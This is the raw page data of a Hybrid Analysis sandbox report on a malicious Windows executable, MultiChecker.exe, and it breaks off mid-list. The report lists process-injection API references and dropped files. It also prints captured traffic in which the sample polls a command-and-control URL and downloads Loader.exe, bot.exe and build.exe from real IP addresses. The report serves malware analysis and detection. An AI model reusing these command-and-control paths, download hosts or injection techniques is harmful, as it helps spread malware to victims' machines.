26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 9d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T490,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mikey.Generic Sample f690fc36d2e6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f690fc36d2e6…. Malware family: Mikey.Generic. Threat score 100/100. 8/27 AV engines flagged this file. 21 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a","keywords":["Malicious","Mikey.Generic","malware analysis","sandbox report","threat intelligence","f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a"],"about":{"@type":"SoftwareApplication","name":"MultiChecker.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mikey.Generic","antivirusDetections":{"malicious":8,"total":27},"behavioralIndicators":{"malicious":21,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Teeb,file/memory contains long string(File: "zlib1.dll") file/memory contains long string(File: "_lzma.pyd") file/memory contains long string(File: "_bz2.pyd") Found string "Failed to extract %s: decompression resulted in return code %d!" (Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found string "unknown compression method" (Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found string "ZSTD_c_compressionLevel" (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BD59000.00000004.mdmp, 00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found string "compression.zstd.ZstdError" (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp") Found string "Implementation module for Zstandard compression." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found string "Set CompressionParameter and DecompressionParameter types for validity check." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp") Found string "DecompressionParameter IntEnum type object" (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp") Found string "dict_size, compression_level, /)" (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp") Found string "compression_level" (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BD59000.00000004.mdmp, 00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found string "Optimize for a specific Zstandard compression level, 0 means default." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp") Found string "Get CompressionParameter/DecompressionParameter bounds." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp") Found string "True for CompressionParameter, False for DecompressionParameter." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp") Found string "Finish the compression process." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.4C467000.00000002.mdmp, 00000000-00001420.00000000.271793.4C48E000.00000002.mdmp") Found string "the compression process." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp") Found string "The compression level to use. Defaults to COMPRESSION_LEVEL_DEFAULT." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BB30000.00000004.mdmp, 00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found string "A dict object that contains advanced compression parameters." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BB30000.00000004.mdmp, 00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found string "Thread-safe at method level. For one-shot compression, use the compress()" (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BB30000.00000004.mdmp, 00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found string "A dict object that contains advanced decompression parameters." (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found string "Thread-safe at method level. For one-shot decompression, use the decompress()" (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BE30000.00000004.mdmp") Found string "The dictionary can be used for compression or decompression, and can be shared" (Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.7BB30000.00000004.mdmp")28:Te65,Found reference to API "Tcl_CreateThread" (Indicator: "CreateThread"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; File: "00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; File: "00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "ZwCreateThreadEx" (Indicator: "CreateThread"; File: "00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "Tcl_CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "ZwAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "ZwCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001420.00000000.271793.4C564000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001420.00000000.271793.4C564000.00000002.mdmp, 00000000-00001420.00000000.271793.4E904000.00000002.mdmp")29:T10c2,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.4C564000.00000002.mdmp, 00000000-00001420.00000000.271793.7B650000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.4C467000.00000002.mdmp, 00000000-00001420.00000000.271793.4C48E000.00000002.mdmp, 00000000-00001420.00000000.271793.4C564000.00000002.mdmp, 00000000-00001420.00000000.271793.4E904000.00000002.mdmp, 00000000-00001420.00000000.271793.4F344000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001420.00000000.271793.4C43A000.00000002.mdmp, 00000000-00001420.00000000.271793.4C467000.00000002.mdmp, 00000000-00001420.00000000.271793.4C48E000.00000002.mdmp, 00000000-00001420.00000000.271793.4C564000.00000002.mdmp, 00000000-00001420.00000000.271793.4E904000.00000002.mdmp, 00000000-00001420.00000000.271793.4F344000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001420.00000000.271793.4C564000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001420.00000000.271793.7B650000.00000004.mdmp")2a:Td20,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000796.00000000.271763.42C9F000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001088.00000000.271072.03300000.00000004.mdmp, 00000000-00001088.00000000.271072.C30B7000.00000002.mdmp, 00000000-00001088.00000000.271072.C30BF000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4C564000.00000002.mdmp, 00000000-00001420.00000000.271793.4E904000.00000002.mdmp, 00000000-00001420.00000000.271793.4F344000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001420.00000000.271793.4C564000.00000002.mdmp, 00000000-00001420.00000000.271793.4E904000.00000002.mdmp, 00000000-00001420.00000000.271793.4F344000.00000002.mdmp, 00000000-00001420.00000000.271793.7BB30000.00000004.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00001420.00000000.271793.4C564000.00000002.mdmp") Found reference to API "U|i:LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "LoadLibrary(name, load_flags) -> handle" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "module. load_flags are as defined for LoadLibraryEx in the" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "FreeLibrary(handle) -> void" (Indicator: "FreeLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "Free the handle of an executable previously loaded by LoadLibrary." (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp, 00000000-00001420.00000000.271793.7B650000.00000004.mdmp") Found reference to API "O&:FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "__vcrt_LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4F344000.00000002.mdmp")2b:Tbf9,Found reference to "AesGcm256" (Indicator: "Aes"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "AesGcm256" (Indicator: "AesGcm"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "AesFastEngine" (Indicator: "Aes"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") file/memory contains long string with (Indicator: "SHA384"; File: "zlib1.dll") file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") Found reference to "SHA384_Init" (Indicator: "SHA384"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "HMAC_CTX_new" (Indicator: "HMAC"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "SHA512_Transform" (Indicator: "SHA512"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "HMAC_CTX_free" (Indicator: "HMAC"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "HMAC_Final" (Indicator: "HMAC"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "SHA512_Init" (Indicator: "SHA512"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "HMAC_size" (Indicator: "HMAC"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "HMAC_Update" (Indicator: "HMAC"; File: "f690fc36d2e6c795b0310cb9af23c0283a8c1ab39322ea8bb6e4f69290c2f14a.bin") Found reference to "Mhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S" (Indicator: "SHA384"; Source: "00000000-00000796.00000001.273682.DEDF0000.00000004.mdmp, 00000000-00000796.00000002.275602.DEDF0000.00000004.mdmp") Found reference to "Mhttp://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0>" (Indicator: "SHA384"; Source: "00000000-00000796.00000001.273682.DEDF0000.00000004.mdmp, 00000000-00000796.00000002.275602.DEDF0000.00000004.mdmp") Found reference to "Phttp://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0" (Indicator: "SHA384"; Source: "00000000-00000796.00000001.273682.DEDF0000.00000004.mdmp, 00000000-00000796.00000002.275602.DEDF0000.00000004.mdmp")2c:T8d2," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 17:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close with response body ==>687474703A2F2F3139362E3235312E3130372E3133302F4C6F616465722E657865....... "GET /Loader.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.130 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 17:13:52 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sun 01 Feb 2026 15:51:03 GMT ETag: "59e00-649c52c6d27c0" Accept-Ranges: bytes Content-Length: 368128 Content-Type: application/x-msdos-program with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /Loader.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 196.251.107.130 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 17:13:54 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sun 01 Feb 2026 15:51:03 GMT ETag: "59e00-649c52c6d27c0" Accept-Ranges: bytes Content-Length: 368128 Content-Type: application/x-msdos-program with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /geter/index.php?cmd=task&uid=btldr0623CF838E70F269A&status=task HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 62.60.226.159 Connection: Close" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 17:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close with response body ==>687474703A2F2F3139362E3235312E3130372E3133302F626F742E657865....... "GET /bot.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.130 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 17:14:56 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sun 01 Feb 2026 15:25:13 GMT ETag: "6e00-649c4d00a0840" Accept-Ranges: bytes Content-Length: 28160 Content-Type: application/x-msdos-program with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /geter/index.php?cmd=task&uid=btldr0623CF838E70F269A&status=task HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 62.60.226.159 Connection: Close" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 17:15:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close with response body ==>687474703A2F2F3139362E3235312E3130372E3130342F6275696C642E657865....... "GET /build.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.104 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 17:15:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sat 31 Jan 2026 12:56:12 GMT ETag: "4b200-649ae9d4e6823" Accept-Ranges: bytes Content-Length: 307712 Content-Type: application/x-msdownload with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000.......53:T9292," handle" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "module. load_flags are as defined for LoadLibraryEx in the" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "Free the handle of an executable previously loaded by LoadLibrary." (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4E904000.00000002.mdmp, 00000000-00001420.00000000.271793.7B650000.00000004.mdmp") Found reference to API "__vcrt_LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001420.00000000.271793.4F344000.00000002.mdmp")64:T3f97,"python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI49482\python314.dll]- [targetUID: 00000000-00004948] "aobpxyf.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%APPDATA%\aobpxyf.exe]- [targetUID: 00000000-00004948] "Veg Checker.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [C:\Veg Checker.exe]- [targetUID: 00000000-00000796] "python313.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI7962\python313.dll]- [targetUID: 00000000-00000796] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI7962\libcrypto-3.dll]- [targetUID: 00000000-00004948] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI49482\libcrypto-3.dll]- [targetUID: 00000000-00004948] "tcl86t.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\tcl86t.dll]- [targetUID: 00000000-00000796] "tk86t.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\tk86t.dll]- [targetUID: 00000000-00000796] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI7962\libssl-3.dll]- [targetUID: 00000000-00004948] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI49482\libssl-3.dll]- [targetUID: 00000000-00004948] "cpbuxs.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%APPDATA%\cpbuxs.exe]- [targetUID: 00000000-00005752] "NKGXFOGQ.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\NKGXFOGQ.exe]- [targetUID: 00000000-00001604] "bipxye.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%APPDATA%\bipxye.exe]- [targetUID: 00000000-00007116] "zlib1.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 12 sections"- Location: [%TEMP%\_MEI7962\zlib1.dll]- [targetUID: 00000000-00000796] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI49482\VCRUNTIME140.dll]- [targetUID: 00000000-00004948] "socxtnre.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%APPDATA%\socxtnre.exe]- [targetUID: 00000000-00008156] "apbisx.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- Location: [%APPDATA%\apbisx.exe]- [targetUID: 00000000-00001088] "VCRUNTIME140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI7962\VCRUNTIME140_1.dll]- [targetUID: 00000000-00000796] "api-ms-win-crt-math-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-math-l1-1-0.dll]- [targetUID: 00000000-00004948] "ufehq.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 4 sections"- Location: [%ALLUSERSPROFILE%\ufehq.exe]- [targetUID: 00000000-00005692] "api-ms-win-crt-string-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-string-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-stdio-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-stdio-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-runtime-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-runtime-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-crt-convert-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-crt-convert-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-file-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI49482\api-ms-win-core-file-l1-1-0.dll]- [targetUID: 00000000-00004948] "api-ms-win-core-synch-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 